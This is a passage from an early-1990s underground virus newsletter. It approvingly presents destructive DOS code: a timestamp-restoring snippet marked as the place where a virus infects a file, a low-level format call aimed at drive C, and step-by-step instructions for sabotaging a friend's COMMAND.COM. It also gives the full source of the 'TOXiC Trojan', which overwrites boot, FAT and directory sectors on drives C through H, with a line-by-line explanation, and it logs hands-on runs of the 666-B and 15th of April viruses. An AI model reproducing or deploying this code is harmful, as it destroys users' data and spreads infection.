_dos_setftime(fh,date,time);
_dos_close(fh);
}
However, when getting the time and date using _dos_getftime and setting it using _dos_setftime, the 0x is not neccessary even though _dos_getftime does return the values without the 0x because _dos_setftime knows what they are and does set the date and time according to what the two values are.
Now, the final product on getting/setting file dates/times:
#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
int fh;
int main (void);
main()
{
unsigned date;
unsigned mtime;
_dos_open("EXAMPLE.EXE",O_RDWR,&fh); /* open file */
_dos_getftime(fh,&date,&mtime); /* get file date and time */
/* Virus can infect "EXAMPLE.EXE" here */
/* and then restore the original date and time */
_dos_setftime(fh,date,mtime);
_dos_close(fh); /* close "EXAMPLE.EXE" */
}
Formatting
#include <bios.h>
int main(void);
main()
{
struct diskinfo_t disk_info;
disk_info.drive =2;
disk_info.head =1;
disk_info.track =1;
disk_info.sector =1;
disk_info.nsectors =10;
_bios_disk(_DISK_FORMAT,&disk_info);
}
The above example will format 10 sectors of track 1, starting at sector 1 on head 1 of drive C.
disk_info.drive =2;
disk_info.head =1;
disk_info.track =1;
disk_info.sector =1;
disk_info.nsectors =10;
disk_info.drive=2 is drive C.
0 is drive A, and 1 is drive B.
disk_info.head=1 is head 1.
disk_info.track=1 is the track to start formatting at.
disk_info.sector=1 is the sector to start formatting at.
disk_info.nsectors=10 is the total number of sectors to format.
Fun with COMMAND.COM
OK, I did this to a friend of mine, and it resulted in about two hours of major frustration before I finally called him and told him what I did. What we do is change all the internal MS-DOS commands inside COMMAND.COM...once you do that, replace someone's COMMAND.COM on their hard drive and re-boot their machine. What will happen is whenever they type a internal command such as CLS, COPY, MD, DIR, etc, it will say: Bad Command Or Filename.
This is how it is done:
Run a sector editor such as: Norton Utilitie's DISKEDIT
Commands:
Alt (O)bject and then (F)ile OR Alt-F by itself. Then select COMMAND.COM as the file, it will then open it. Then: Alt (T)ools, (F)ind OR CTRL-S. Then type in the string to search for (CLS, DIR, COPY, etc), once it finds it, do the following:
Alt (E)dit, (M)ark OR CTRL-B
Then simply type over the command with something else and hit CTRL-W which will write those changes to the file.
Just do this with every internal command and there you go.
Note: If there is a string of text in COMMAND.COM such as: "Copy is used to move files from drive to drive or directory to directory", when you search for COPY it will find the Copy at the beginning of that string, you don't want to change that. Just hit CTRL-G (Find again) to find the next occurence of COPY.....The one you are looking for will be in all CAPS and surrounded by nothing else but unreadable characters.
Sample Source Code Of Virii: TOXiC Trojan #1
This is what the author of the "TOXiC Trojan #1" has to say about his creation:
TOXiC1 - TOXiC Trojan #1 - Programmed by Izzy Stradlin' and MiSERY/CPA MiSERY1 is the name given to this trojan. I programmed it, I name the Mother fucker. I hereby give all rights of this trojan to MiSERY/CPA. If ya don't like it, TOUGH. I Give ALL rights EXCEPT for the NAME to CPA - eg. NOONE CAN CHANGE THE NAME OF THIS THING W/O MY PERMISSION AND LEAVE MY NAME IN IT. The name must stay on, both my name and the name of the trojan are copyrighted (c) 90 to Izzy Stradlin'
Capt. - This isn't a Real Virus - It's a Trojan. Sorry, still trying to use something similar to ASM's int 21h; for DOSs features, then I'll Get going on Virii. As is, this Destroys Boot/Fat/Dir on Most harddisks and Well, there is so far no way that I know of that it can recover what the disk lost, as it writes the trojan name over everything. This SHOULD Go for BOTH FAT Tables, but I am not going to try it out. Haha. You try it - Tell me how it works! all I know is that it got 6 of my Flippin' floppies, damnit! - Delete this bottom message to you after Checking it out - Makes it look more professional. Leave the top text part in tact, just in case you want to pass it around.
This is JUST A START. They DO/WILL Get better - this is weak, but as I Said - no known recovery from it.
Oh, this looks for C: through H:
And this is what I have to say about The "TOXiC Trojan #1"
The author of the "TOXiC Trojan #1" says that this is a trojan, but to me it is NOT....if it was, it wouldn't be featured here as this is a newsletter dedicated entirely to virii. A trojan is a destructive program disguised as a real program that already exists, or disguised as a useful program. This program does not implement any encryption techniques, or stealth techniques so actually it is a toss up. I call it a virus, though. Anyway, the source code below is the original source code as written by Izzy Stradlin'
#define TROJAN_NAME "TOXiC" /* Trojan Name */
/* Procedures */
void infect_fat();
void infect_dir();
void infect_boot();
void main();
/* Simple, eh? */
void infect_fat()
{
int i;
for (i=2; i<7; i++) {
abswrite(i,0,2,TROJAN_NAME);
}
}
void infect_dir()
{
int i;
for (i=2; i<7; i++) {
abswrite(i,2,2,TROJAN_NAME);
}
}
void infect_boot()
{
int i;
for (i=0; i<7; i++) {
abswrite(i,4,2,TROJAN_NAME);
}
}
void main()
{
printf(TROJAN_NAME);
infect_fat();
infect_dir();
infect_boot();
}
Now, this is my modified source code to the "TOXiC Trojan #1"
#define TROJAN_NAME "TOXiC"
void infect_fat();
void infect_dir();
void infect_boot();
int main(void);
main()
{
printf(TROJAN_NAME);
infect_fat();
infect_dir();
infect_boot();
}
void infect_fat()
{
int i;
for (i=2; i<7; i++) {
abswrite(i,0,2,TROJAN_NAME);
}
}
void infect_dir()
{
int i;
for (i=2; i<7; i++) {
abswrite(i,2,2,TROJAN_NAME);
}
}
void infect_boot()
{
int i;
for (i=0; i<7; i++) {
abswrite(i,4,2,TROJAN_NAME);
}
}
You may ask why I modified his source code, well I did for a few reasons:
He declared "main()" as:
void main();
When I first became familiar with the ANSI C standard, I declared "main()" like so:
int main(void);
which says that main() will return a value of type int but has no parameters passed to it. His way says that main will not return a value at all, and (I am assuming here) will not be called with any parameters because he left the parentheses empty. Using void and leaving the parentheses empty may very well have the same effect, although I am not sure. (I never said I knew everything)
In his he put his procedures (below) before the main program.
void infect_fat()
{
int i;
for (i=2; i<7; i++) {
abswrite(i,0,2,TROJAN_NAME);
}
}
void infect_dir()
{
int i;
for (i=2; i<7; i++) {
abswrite(i,2,2,TROJAN_NAME);
}
}
void infect_boot()
{
int i;
for (i=0; i<7; i++) {
abswrite(i,4,2,TROJAN_NAME);
}
}
With mine, I placed the procedures after the main program. Once again I am not 100% sure that this would have any effect on your program, and whether or not it is a case of preference.
His three procedures:
infect_fat()
infect_dir()
infect_boot()
are all declared to return no value (void) and called with no parameters, as he, once again, left the parentheses empty. (Which brings us back to main().. leaving the parentheses empty on main() must have the same effect as putting void in the parentheses)
Now the discussion of his procedures:
void infect_fat()
{
int i;
for (i=2; i<7; i++) {
abswrite(i,0,2,TROJAN_NAME);
}
}
This procedure, "infect_fat" writes the name of the trojan (virus) over the file allocation table of drives C through H, providing they exist. This is how it works:
the "for loop" uses the integer i, first assigning the value 2 to it, which is the number of drive C, and then it passes the integer to the function "abswrite" along with two other values, 0 and 2, and the name of the virus.
The integer i, as we know, contains the drive number, 0 is the starting sector number, and 2 is the number of sectors to write. TROJAN_NAME is what gets written to that area of the disk. Every time it passes through the for loop, it increments the value of the integer i by 1 with the 'increment operator' (i++) and it stops once the value of i is equal to or greater than 7. i<7 is basically saying "while i is less than 7, keep going" Because the value of i is increased with each pass through the loop, it attempts to write drives C through H (2 being drive C, 3 being drive D, 4 being drive E, etc)
The code in between the first { and the second } is what the procedure does. The code in between the second { and the first } is what takes place every time the procedure passes through the for loop.
The other two procedures, infect_dir() and infect_boot(), basically work the same way infect_fat() does except they write to a different part of the disk.
infect_dir() writes TROJAN_NAME on two sectors of drives C through H starting at sector 2.
infect_boot() writes TROJAN_NAME on two sectors of drives C through H starting at sector 4.
NOTE: abswrite() is not a function included with my standard runtime library but may be a part of other compiler's runtime libraries, or you could write one yourself.
Suicidal Tendencies Dept
The virus of the month award goes to: 666-B Rock Steady Virus And The 15th Of April Virus.
First I will start off with the 666-B Rock Steady Virus.
The virus activates on the 13th of every month.
I placed the file 666-B.COM on a floppy in drive B with the following files:
COMMAND.COM - 47845 bytes
PKUNZIP.EXE - 23528 bytes
First I changed the system date to: 05-13-1992 and ran 666-B.COM
It didn't do anything to the disk/files of drive B, instead it went to drive A which was a write protected Viriisearch <tm> disk. It gave me the following warning:
This disk is not bootable
If you wish to make it bootable,
run the DOS program SYS after the
system has been loaded
Please insert a DOS diskette into
the drive and strike any key...
So I inserted a write protected DOS disk into the drive, and the machine booted. I decided to try a different approach:
I once again changed the system date to: 05-13-1992 and once again ran 666-B.COM, but this time with a write protected DOS disk in drive A. It did the same thing again, ignored drive B, and went right for drive A, this time appearing to write to the disk for about 5-10 seconds, but it wasn't because the disk was write protected at the time. Then the machine re-booted. So again I tried another approach:
I left the system date as what it was: 1-01-80 and then ran 666-B.COM, it did nothing but exit. Then I ran COMMAND.COM from the command line, no changes were made to it. Now, with the virus in memory, I again changed the system date to: 05-13-1992 and ran COMMAND.COM from the command line. This time it infected COMMAND.COM, increasing it's size to: 48511 bytes from 47845 bytes. I re-booted the machine, and looked back on drive B. PKUNZIP.EXE had also been infected without me running it, it's size being increased to 24194 bytes from 23528 bytes.
Note: The virus also formats the hard drive Boot Area and FAT on the 13th of every month, but I do not have a hard drive so I did not witness this. This is a well written virus and I am sure it does that if Rock Steady says it does.
Suicidal Tendencies Dept. Part II: The 15th Of April Virus
I placed the following files on a floppy in drive B:
ANSI SYS 9029 04-09-91 5:00a
RAMDRIVE SYS 5873 04-09-91 5:00a
CONFIG SYS 39 01-01-80 12:35a
COMMAND COM 47845 04-09-91 5:00a
SYS COM 13440 04-09-91 5:00a
NDOS COM 2419 08-14-84 12:00p
MEM EXE 39818 04-09-91 5:00a
DEBUG EXE 21692 06-07-90 2:24a
PKUNZIP EXE 23528 03-15-90 1:10a
and then placed 15APR.COM on there with them.
The system date was: 1-01-80 when I first ran 15APR.COM.
I then ran MEM.EXE and it's size increased to 41068 bytes from 39818 bytes.
I also ran PKUNZIP.EXE, it's size increased to 24778 bytes from 23528 bytes, and NDOS.COM, it's size increasing from 2419 bytes to 3669 bytes.
I then changed the system date to the 15th Of April, 1992 and ran 15APR.COM once again, and it did nothing.
I ran COMMAND.COM and the virus did nothing to it, it remained uninfected and it's size remained the same so I ran SYS.COM with no parameters and it did get infected, it's size increasing from 13440 bytes to 14690 bytes.
In all cases of a file being infected, it's size increased by 1250 bytes.
Final Notes
Special thanks to:
-----------------------------------------------------------------------------
Rock Steady - For Writing Such A Well Written Virus For Me To Screw Around With.
All The Phalcon/Skism Members - For Letting Me On U.S.S.R. And Letting Me Take Dark Angel's Phunky Virus Writing Guide As Well As 40 HEX (Gotta Love It When You Guys Rag On The Anti-Viral PPL)
Louis Cypher - For Letting Me On Lucid Dreams, And Doing Me That Favor.
Cliff Burton - For Making TLITD The Viriisearch HQ.
Patty, Mr. Dickburg, And Whoever Else - For Giving The Phalcon/Skism Guys Someone To Rag On.
Count Zero And Magic Man: For Letting Me On ATDT Which Led To My Original Interest In Virii.
Spaceman: For Making All Those Virii Available To Me.
To All The Virus Authors - For Writing Them And Giving This Newsletter A Purpose, And Giving Me Something To Do While A Unemployment Victim Of This #$%*& Recession.
Pink Floyd/Led Zeppelin/Rush/U2/Queen - For Giving Me Good Quality Music To Listen To While Writing This Virus Newsletter (R.I.P Freddy & Bonzo)
And Hi To Darby Crash! Hope You're Doing Well Wherever You Are!
-----------------------------------------------------------------------------
Hey Everyone: Have a AWESOME 4th Of July! Don't Drink And Drive (At Least Not In MY Neighborhood!)
I hope you enjoyed this issue of "Viriisearch" The newsletter dedicated entirely to computer virii.
Until Next Time......Be Careful!!!
* Criminal Minded <tm> *